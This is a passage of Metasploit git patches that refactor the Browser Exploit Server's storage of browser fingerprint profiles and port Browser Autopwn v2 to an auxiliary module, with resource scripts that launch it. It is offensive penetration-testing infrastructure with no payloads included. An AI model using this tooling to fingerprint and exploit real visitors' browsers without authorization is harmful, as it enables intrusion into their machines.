get_profile_info(tag) + profile_info = browser_profile[tag] bap_exploits.each do |m| if m.get_bad_requirements(profile_info).empty? current_exploit_list << m @@ -831,4 +811,4 @@ module Msf end end -end \ No newline at end of file +end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 1340a1e9e7..bcd08b9426 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -304,7 +304,9 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) - update_profile(tag, :source, source.to_s) + + browser_profile[tag] ||= {} + browser_profile[tag][:source] = source.to_s found_ua_name = '' found_ua_ver = '' @@ -314,8 +316,9 @@ module Msf when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') - vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.") - parsed_body.each { |k, v| update_profile(tag, k.to_s, v.first) } + vprint_status("Received sniffed browser data over POST:") + vprint_line("#{parsed_body}.") + parsed_body.each { |k, v| browser_profile[tag][k.to_s] = v.first } found_ua_name = parsed_body['ua_name'] found_ua_ver = parsed_body['ua_ver'] @@ -327,15 +330,15 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - update_profile(tag, k.to_s, v) + browser_profile[tag][k.to_s] = v end found_ua_name = fp[:ua_name] found_ua_ver = fp[:ua_ver] end # Other detections - update_profile(tag, :proxy, has_proxy?(request)) - update_profile(tag, :language, request.headers['Accept-Language'] || '') + browser_profile[tag][:proxy] = has_proxy?(request) + browser_profile[tag][:language] = request.headers['Accept-Language'] || '' report_client({ :host => cli.peerhost, @@ -438,12 +441,12 @@ module Msf | end - # @return [String] name of the tracking cookie + # @return [String] Name of the tracking cookie def cookie_name datastore['CookieName'] || DEFAULT_COOKIE_NAME end - + # @return [String] HTTP header string for the tracking cookie def cookie_header(tag) cookie = "#{cookie_name}=#{tag};" if datastore['CookieExpiration'].present? @@ -465,7 +468,7 @@ module Msf # # This is the information gathering stage # - unless get_profile_info(retrieve_tag(cli, request)).empty? + unless browser_profile[retrieve_tag(cli, request)].empty? send_redirect(cli, get_module_resource) return end @@ -473,7 +476,6 @@ module Msf print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) ua = request.headers['User-Agent'] || '' - init_profile(tag) print_status("Sending HTML response.") html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) @@ -501,7 +503,7 @@ module Msf # tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") - profile = get_profile_info(tag) + profile = browser_profile[tag] if profile.empty? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) @@ -509,7 +511,7 @@ module Msf print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - update_profile(tag, :tried, true) + profile[tag][:tried] = true vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 5e571ec6fe..08dd8d2d6a 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -1,66 +1,26 @@ -require 'msgpack' - module Msf module Exploit::Remote::BrowserProfileManager - # @overload note_type_prefix - # Sets the note type prefix to retrieve or load target information. - def note_type_prefix - raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" + # @overload browser_profile_prefix + # Sets the profile prefix to retrieve or load target information. + def browser_profile_prefix + raise NoMethodError, "A mixin that's using BrowserProfileManager should define browser_profile_prefix" end - - # Returns profile information about a specific browser client. + # Storage backend for browser profiles # - # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. # @return [Hash] - def get_profile_info(tag) - normalized_tag = "#{note_type_prefix}.#{tag}" - framework.db.notes.each do |note| - return MessagePack.unpack(note.data) if note.ntype == normalized_tag - end - - {} + def browser_profile + framework[:browser_profiles] ||= {} + framework[:browser_profiles][browser_profile_prefix] ||= {} + framework[:browser_profiles][browser_profile_prefix] end - - # Updates profile information about a specific browser client. - # It will also automatically initialize the profile (an empty one) if it's not found. + # Storage backend for browser profiles # - # @see #init_profile - # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. - # @param [String] key A specific key to update (for example: os name). - # @param [String] value The value for the key. - # @return [void] - def update_profile(tag, key, value) - profile = get_profile_info(tag) - if profile.empty? - init_profile(tag) - profile = get_profile_info(tag) - end - - normalized_tag = "#{note_type_prefix}.#{tag}" - profile[normalized_tag][key.to_s] = value - framework.db.report_note( - :type => normalized_tag, - :data => profile.to_msgpack, - :update => :unique - ) - end - - - # Initializes a profile. - # - # @param [String] tag A tag that's unique to the browser. Probably generated by Msf::Exploit::Remote::BrowserExploitServer#retrieve_tag. - # @return [void] - def init_profile(tag) - normalized_tag = "#{note_type_prefix}.#{tag}" - empty_profile = { normalized_tag => {} } - framework.db.report_note( - :type => normalized_tag, - :data => empty_profile.to_msgpack, - :update => :unique - ) + def clear_browser_profiles + framework[:browser_profiles] ||= {} + framework[:browser_profiles].delete(browser_profile_prefix) end end diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb deleted file mode 100644 index c048fd0ef9..0000000000 --- a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb +++ /dev/null @@ -1,158 +0,0 @@ -require 'spec_helper' -require 'msf/core' - -describe Msf::Exploit::Remote::BrowserProfileManager do - - - def mock_report_note(args) - # args example: - # {:type=>"blLGFIlwYrxfvcY.new_tag", :data=>"\x81\xB7blLGFIlwYrxfvcY.new_tag\x80", :update=>:unique} - @notes.each do |note| - if note.ntype == args[:type] - allow(note).to receive(:data).and_return(args[:data]) - return - end - end - - # No profile found - note = create_fake_note(args[:type], args[:data]) - @notes << note - end - - def create_fake_note(tag, data) - note = double('note') - allow(note).to receive(:ntype).and_return(tag) - allow(note).to receive(:data).and_return(data) - - note - end - - # When unpacked, this gives us: - # { - # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { - # "source" => "script", - # "os_name" => "Windows 8.1", - # "os_vendor" => "undefined", - # "os_device" => "undefined", - # "ua_name" => "Firefox", - # "ua_ver" => "35.0", - # "arch" => "x86", - # "java" => "1.7", - # "silverlight" => "false", - # "flash" => "14.0", - # "vuln_test" => "true", - # "proxy" => false, - # "language" => "en-US,en;q=0.5", - # "tried" => true - # }} - let(:profile_packed_data) do - "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" - end - - let(:profile_tag) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] - end - - let(:note_type_prefix) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." - end - - subject do - mod = Msf::Exploit::Remote.allocate - mod.extend Msf::Exploit::Remote::BrowserExploitServer - mod.extend described_class - mod.send(:initialize) - mod.send(:datastore=, {'NoteTypePrefix' => note_type_prefix}) - mod - end - - let(:framework) do - framework = double('Msf::Framework', datastore: {}) - - notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] - @notes = notes - - db = double('db') - allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } - allow(db).to receive(:notes).and_return(notes) - allow(framework).to receive(:db).and_return(db) - - framework - end - - before(:each) do - allow_any_instance_of(described_class).to receive(:framework).and_return(framework) - end - - describe '#note_type_prefix' do - context 'when note_type_prefix is used' do - it 'raises a NoMethodError exception' do - expect(subject.note_type_prefix).to eq(note_type_prefix) - end - end - end - - describe '#get_profile_info' do - - let(:found_profile) do - end - - context 'when profile is found' do - it 'returns a hash with the profile' do - found_profile = subject.get_profile_info(profile_tag) - found_profile_key = found_profile.keys.first - found_profile_data = found_profile[found_profile_key] - profile_data = MessagePack.unpack(profile_packed_data).values.first - expect(found_profile).to be_kind_of(Hash) - expect(found_profile_data).to eq(profile_data) - end - end - - context 'when a profile is not found' do - it 'returns an empty hash' do - bad_profile_tag = 'bad_profile_tag' - found_profile = subject.get_profile_info(bad_profile_tag) - expect(found_profile).to be_kind_of(Hash) - expect(found_profile).to be_empty - end - end - end - - describe '#update_profile' do - - let(:key_to_update) { 'os_name' } - - let(:os_value) { 'Windows 7' } - - context 'when no profile is on the database' do - let(:new_profile_tag) { 'new_tag' } - it 'creates a new profile' do - end - - it 'updates data to the new profile' do - subject.update_profile(new_profile_tag, key_to_update, os_value) - expect(subject.get_profile_info(new_profile_tag).keys.first).to eq("#{note_type_prefix}.#{new_profile_tag}") - expect(subject.get_profile_info(new_profile_tag).values.first).to eq({key_to_update => os_value}) - end - end - - context 'when the profile is found on the database' do - it 'updates the profile' do - expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq('Windows 8.1') - subject.update_profile(profile_tag, key_to_update, os_value) - expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq(os_value) - end - end - end - - describe '#init_profile' do - context 'creates a tag is provided' do - it 'creates a new profile' do - expect(@notes.length).to eq(1) - subject.init_profile('new') - expect(@notes.length).to eq(2) - end - end - end - -end \ No newline at end of file From 0e7f61083673bf7f20be9be77d5e31a79db6f8ab Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 12:58:21 -0500 Subject: [PATCH 102/150] Finish browser profile rework in BES --- .../exploit/remote/browser_exploit_server.rb | 23 ++++++------------- 1 file changed, 7 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index bcd08b9426..a1e36041f6 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,17 +111,17 @@ module Msf end - # Returns a note type that's unique to this browser exploit module. - # This overrides the #note_type_prefix method from Msf::Exploit::Remote::BrowserProfileManager. + # Returns a prefix that's unique to this browser exploit module. + # This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager. # There are two way for BES to get this prefix, either: # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with # its child exploits, so that these exploits don't have to gather browser information again. # * If the datastore option isn't set, then we assume the user is firing the exploit as a # standalone so we make somthing more unique, so that if there are two instances using the # same exploit, they don't actually share info. - def note_type_prefix - self.datastore['NoteTypePrefix'] || @unique_prefix ||= lambda { - "#{self.shortname}.#{Time.now.to_i}.Client" + def browser_profile_prefix + self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda { + "#{self.shortname}.#{Time.now.to_i}.#{self.module_uuid}" }.call end @@ -129,17 +129,8 @@ module Msf # Cleans up target information owned by the current module. def cleanup super - # Whoever registered NoteTypePrefix should do the cleanup for notes - return if self.datastore['NoteTypePrefix'] - - return unless framework.db.active - ::ActiveRecord::Base.connection_pool.with_connection { - framework.db.notes.each do |note| - if note.ntype =~ /^#{self.shortname}\.\d+\.Client/ - note.destroy - end - end - } + # Whoever registered BrowserProfilePrefix should do the cleanup + clear_browser_profiles unless self.datastore['BrowserProfilePrefix'] end From c0969d44976d5c0ef33a0df60d4553bfc8ee54d0 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 13:45:38 -0500 Subject: [PATCH 103/150] Fix module.uuid references --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 8ff4e76c5b..6ece1bd36d 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -79,7 +79,7 @@ module Msf # # @return [String] def browser_profile_prefix - @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.module_uuid}" + @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}" end # Removes background exploit jobs that belong to BAP. diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a1e36041f6..e5556cbc93 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -121,7 +121,7 @@ module Msf # same exploit, they don't actually share info. def browser_profile_prefix self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda { - "#{self.shortname}.#{Time.now.to_i}.#{self.module_uuid}" + "#{self.shortname}.#{Time.now.to_i}.#{self.uuid}" }.call end From c5c7de00918289591e0fbfdcc0320e01205c1b29 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 14:58:43 -0500 Subject: [PATCH 104/150] Rework browser profiles, get back to functional mode --- .../exploit/remote/browser_exploit_server.rb | 48 ++++++++++--------- .../exploit/remote/browser_profile_manager.rb | 8 ++-- lib/msf/core/framework.rb | 8 ++++ 3 files changed, 36 insertions(+), 28 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index e5556cbc93..0f4dfc8025 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -179,7 +179,7 @@ module Msf def extract_requirements(reqs) tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)} # Make sure keys are always symbols - Hash[tmp.map{|(k,v)| [k.to_s,v]}] + Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end @@ -191,8 +191,6 @@ module Msf def try_set_target(profile) match_counts = [] target_requirements = {} - profile = profile.values.first - targets.each do |t| target_requirements = extract_requirements(t.opts) if target_requirements.blank? @@ -223,7 +221,7 @@ module Msf # "{CLSID}=>Method=>Boolean;" # @return [Boolean] True if there's a bad ActiveX, otherwise false def has_bad_activex?(ax) - ax.split(';').each do |a| + ax.to_s.split(';').each do |a| bool = a.split('=>')[2] if bool == 'false' return true @@ -238,24 +236,23 @@ module Msf # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met def get_bad_requirements(profile) - profile = profile.first[1] bad_reqs = [] - - @requirements.each do |k, v| + @requirements.each do |rk, v| + k = rk.to_sym expected = k != :vuln_test ? v : 'true' - vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_s]}") + vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}") if k == :activex - bad_reqs << k if has_bad_activex?(profile[k.to_s]) + bad_reqs << k if has_bad_activex?(profile[k]) elsif k == :vuln_test - bad_reqs << k unless profile[k.to_s].to_s == 'true' + bad_reqs << k unless profile[k].to_s == 'true' elsif v.is_a? Regexp - bad_reqs << k if profile[k.to_s] !~ v + bad_reqs << k if profile[k] !~ v elsif v.is_a? Proc - bad_reqs << k unless v.call(profile[k.to_s]) + bad_reqs << k unless v.call(profile[k]) else - bad_reqs << k if profile[k.to_s] != v + bad_reqs << k if profile[k] != v end end @@ -297,7 +294,8 @@ module Msf tag = retrieve_tag(cli, request) browser_profile[tag] ||= {} - browser_profile[tag][:source] = source.to_s + profile = browser_profile[tag] + profile[:source] = source.to_s found_ua_name = '' found_ua_ver = '' @@ -309,7 +307,7 @@ module Msf parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') vprint_status("Received sniffed browser data over POST:") vprint_line("#{parsed_body}.") - parsed_body.each { |k, v| browser_profile[tag][k.to_s] = v.first } + parsed_body.each { |k, v| profile[k.to_sym] = v.first } found_ua_name = parsed_body['ua_name'] found_ua_ver = parsed_body['ua_ver'] @@ -321,15 +319,20 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - browser_profile[tag][k.to_s] = v + profile[k.to_sym] = v end found_ua_name = fp[:ua_name] found_ua_ver = fp[:ua_ver] end # Other detections - browser_profile[tag][:proxy] = has_proxy?(request) - browser_profile[tag][:language] = request.headers['Accept-Language'] || '' + profile[:proxy] = has_proxy?(request) + profile[:language] = request.headers['Accept-Language'] || '' + + # Basic tracking + profile[:address] = cli.peerhost + profile[:module] = self.fullname + profile[:created_at] = Time.now report_client({ :host => cli.peerhost, @@ -459,7 +462,7 @@ module Msf # # This is the information gathering stage # - unless browser_profile[retrieve_tag(cli, request)].empty? + if browser_profile[retrieve_tag(cli, request)] send_redirect(cli, get_module_resource) return end @@ -495,20 +498,19 @@ module Msf tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") profile = browser_profile[tag] - if profile.empty? + if profile.nil? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) elsif profile[:tried] and datastore['Retries'] == false print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - profile[tag][:tried] = true + profile[:tried] = true vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? - browser_info = profile.values.first - browser_info = browser_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data} + browser_info = profile.dup begin method(:on_request_exploit).call(cli, request, browser_info) rescue BESException => e diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 08dd8d2d6a..23bf1fbe06 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -11,16 +11,14 @@ module Msf # # @return [Hash] def browser_profile - framework[:browser_profiles] ||= {} - framework[:browser_profiles][browser_profile_prefix] ||= {} - framework[:browser_profiles][browser_profile_prefix] + framework.browser_profiles[browser_profile_prefix] ||= {} + framework.browser_profiles[browser_profile_prefix] end # Storage backend for browser profiles # def clear_browser_profiles - framework[:browser_profiles] ||= {} - framework[:browser_profiles].delete(browser_profile_prefix) + framework.browser_profiles.delete(browser_profile_prefix) end end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index fe54145d0d..a03932cb58 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -92,6 +92,7 @@ class Framework self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json")) + self.browser_profiles = Hash.new # Configure the thread factory Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) @@ -194,6 +195,12 @@ class Framework # into generated payloads. # attr_reader :uuid_db + # + # The framework instance's browser profile store. These profiles are + # generated by client-side modules and need to be shared across + # different contexts. + # + attr_reader :browser_profiles # The framework instance's db manager. The db manager # maintains the database db and handles db events @@ -251,6 +258,7 @@ protected attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: attr_writer :uuid_db # :nodoc: + attr_writer :browser_profiles # :nodoc: end class FrameworkEventSubscriber From 6e31b9ef537725af6a78ba14bb2d2b07224851b2 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 15:11:03 -0500 Subject: [PATCH 105/150] Initialize and rename the BES mutex --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 0f4dfc8025..5791566d65 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -107,6 +107,7 @@ module Msf if !custom_404.blank? && custom_404 !~ /^http/i raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) end + @bes_mutex = Mutex.new super end @@ -146,7 +147,7 @@ module Msf # # @param block [Proc] Block of code to sync def sync(&block) - (@mutex ||= Mutex.new).synchronize(&block) + @bes_mutex.synchronize(&block) end From 43d47ad83e7f47e4323055013dd3e344dfcb7e7a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 15:29:24 -0500 Subject: [PATCH 106/150] Port BAPv2 to Auxiliary --- .../exploit/remote/browser_exploit_server.rb | 12 ++++--- .../server/browser_autopwn2.rb} | 36 +++++++++---------- scripts/resource/bap_all.rc | 6 ++++ scripts/resource/bap_dryrun_only.rc | 4 +-- scripts/resource/bap_firefox_only.rc | 4 +-- scripts/resource/bap_flash_only.rc | 4 +-- scripts/resource/bap_ie_only.rc | 4 +-- 7 files changed, 39 insertions(+), 31 deletions(-) rename modules/{exploits/multi/browser/autopwn.rb => auxiliary/server/browser_autopwn2.rb} (85%) create mode 100644 scripts/resource/bap_all.rc diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 5791566d65..3c2c70b18b 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -12,6 +12,7 @@ require 'msf/core/exploit/remote/browser_profile_manager' # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# Note that this mixin is designed to be compatible with both Exploit and Auxilliary modules. # Wiki documentations about this mixin can be found here: # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer # https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements @@ -80,15 +81,15 @@ module Msf def initialize(info={}) super - # The mixin keeps 'target' so module doesn't lose it. - @target = target + # The mixin keeps 'target' handy so module doesn't lose it. + @target = self.respond_to?(:target) ? target : nil # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) - @info_receiver_page = rand_text_alpha(5) - @exploit_receiver_page = rand_text_alpha(6) - @noscript_receiver_page = rand_text_alpha(7) + @info_receiver_page = Rex::Text.rand_text_alpha(5) + @exploit_receiver_page = Rex::Text.rand_text_alpha(6) + @noscript_receiver_page = Rex::Text.rand_text_alpha(7) register_options( [ @@ -190,6 +191,7 @@ module Msf # # @param profile [Hash] The profile to check def try_set_target(profile) + return unless self.respond_to?(:targets) match_counts = [] target_requirements = {} targets.each do |t| diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/auxiliary/server/browser_autopwn2.rb similarity index 85% rename from modules/exploits/multi/browser/autopwn.rb rename to modules/auxiliary/server/browser_autopwn2.rb index 49113c3ecd..1a09d7f176 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -4,9 +4,7 @@ ## require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking +class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::BrowserAutopwnv2 @@ -49,16 +47,25 @@ class Metasploit3 < Msf::Exploit::Remote }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], - 'Targets' => [ [ 'Automatic', {} ] ], - 'Platform' => %w{ java linux osx solaris win android firefox }, - 'Privileged' => false, 'DisclosureDate' => "Jul 5 2015", - 'Targets' => [ [ 'Automatic', {} ] ], 'References' => [ [ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ] ], - 'DefaultTarget' => 0)) + 'Actions' => + [ + [ 'WebServer', { + 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits' + } ], + ], + 'PassiveActions' => + [ 'WebServer' ], + 'DefaultOptions' => { + # We know that most of these exploits will crash the browser, so + # set the default to run migrate right away if possible. + "InitialAutoRunScript" => "migrate -f", + }, + 'DefaultAction' => 'WebServer')) register_advanced_options(get_advanced_options, self.class) @@ -77,16 +84,6 @@ class Metasploit3 < Msf::Exploit::Remote deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') end - def setup - if datastore['PAYLOAD'] != 'windows/meterpreter/reverse_tcp' - msg = "\"set payload\" is disabled: Instead of using \"set payload\", please set PAYLOAD_[platform] " - msg << "to set a platform-specific payload, and set PAYLOAD_[platform]_LPORT " - msg << "to set a platform-specific LPORT." - raise RuntimeError, msg - end - super - end - def get_advanced_options opts = [] DEFAULT_PAYLOADS.each_pair do |platform, payload_info| @@ -102,5 +99,8 @@ class Metasploit3 < Msf::Exploit::Remote send_exploit_html(cli, serve) end + def run + exploit + end end diff --git a/scripts/resource/bap_all.rc b/scripts/resource/bap_all.rc new file mode 100644 index 0000000000..53b88fc334 --- /dev/null +++ b/scripts/resource/bap_all.rc @@ -0,0 +1,6 @@ + +run_single("use auxiliary/server/browser_autopwn2") +run_single("set RealList true") +run_single("set VERBOSE true") +run_single("run") + diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index 855aca5f4d..8b4d206dde 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -2,7 +2,7 @@ print_status("Starting BAP...") print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.") print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set RealList true") run_single("set MaxSessions 0") @@ -13,4 +13,4 @@ run_single("set MaxSessions 0") run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") run_single("run") - \ No newline at end of file + diff --git a/scripts/resource/bap_firefox_only.rc b/scripts/resource/bap_firefox_only.rc index e33f7813b5..d48f064d73 100644 --- a/scripts/resource/bap_firefox_only.rc +++ b/scripts/resource/bap_firefox_only.rc @@ -1,8 +1,8 @@ print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.") print_status("Older Firefox exploits don't use BES, therefore will not be loaded.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set Include (mozilla_firefox|firefox)_") run_single("set RealList true") run_single("run") - \ No newline at end of file + diff --git a/scripts/resource/bap_flash_only.rc b/scripts/resource/bap_flash_only.rc index 4a764ee960..c7cb25d4d2 100644 --- a/scripts/resource/bap_flash_only.rc +++ b/scripts/resource/bap_flash_only.rc @@ -1,8 +1,8 @@ print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.") print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set Include adobe_flash") run_single("set RealList true") run_single("run") - \ No newline at end of file + diff --git a/scripts/resource/bap_ie_only.rc b/scripts/resource/bap_ie_only.rc index 935afa0560..56840c5cbd 100644 --- a/scripts/resource/bap_ie_only.rc +++ b/scripts/resource/bap_ie_only.rc @@ -1,8 +1,8 @@ print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.") print_status("Older IE exploits don't use BES, therefore will not be loaded.") -run_single("use exploit/multi/browser/autopwn") +run_single("use auxiliary/server/browser_autopwn2") run_single("set Include (ms\\\\d\\\\d_\\\\d+|ie)_") run_single("set RealList true") run_single("run") - \ No newline at end of file + From 7858d63036481f1053d58ad75387ca028fc1049f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 2 Jul 2015 15:34:44 -0500 Subject: [PATCH 107/150] Typo --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 3c2c70b18b..4b7cdffbf0 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -12,7 +12,7 @@ require 'msf/core/exploit/remote/browser_profile_manager' # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. -# Note that this mixin is designed to be compatible with both Exploit and Auxilliary modules. +# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules. # Wiki documentations about this mixin can be found here: # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer # https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements From d2063c92e167fccd6b74ed912115cf3726e1ed5f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 5 Jul 2015 18:21:45 -0500 Subject: [PATCH 108/150] Refactor datastore names to match standards --- lib/msf/core/exploit/browser_autopwnv2.rb | 31 ++++++++++---------- modules/auxiliary/server/browser_autopwn2.rb | 19 ++++++------ scripts/resource/bap_all.rc | 2 +- scripts/resource/bap_dryrun_only.rc | 6 ++-- scripts/resource/bap_firefox_only.rc | 4 +-- scripts/resource/bap_flash_only.rc | 4 +-- scripts/resource/bap_ie_only.rc | 4 +-- 7 files changed, 36 insertions(+), 34 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6ece1bd36d..deb961545e 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ 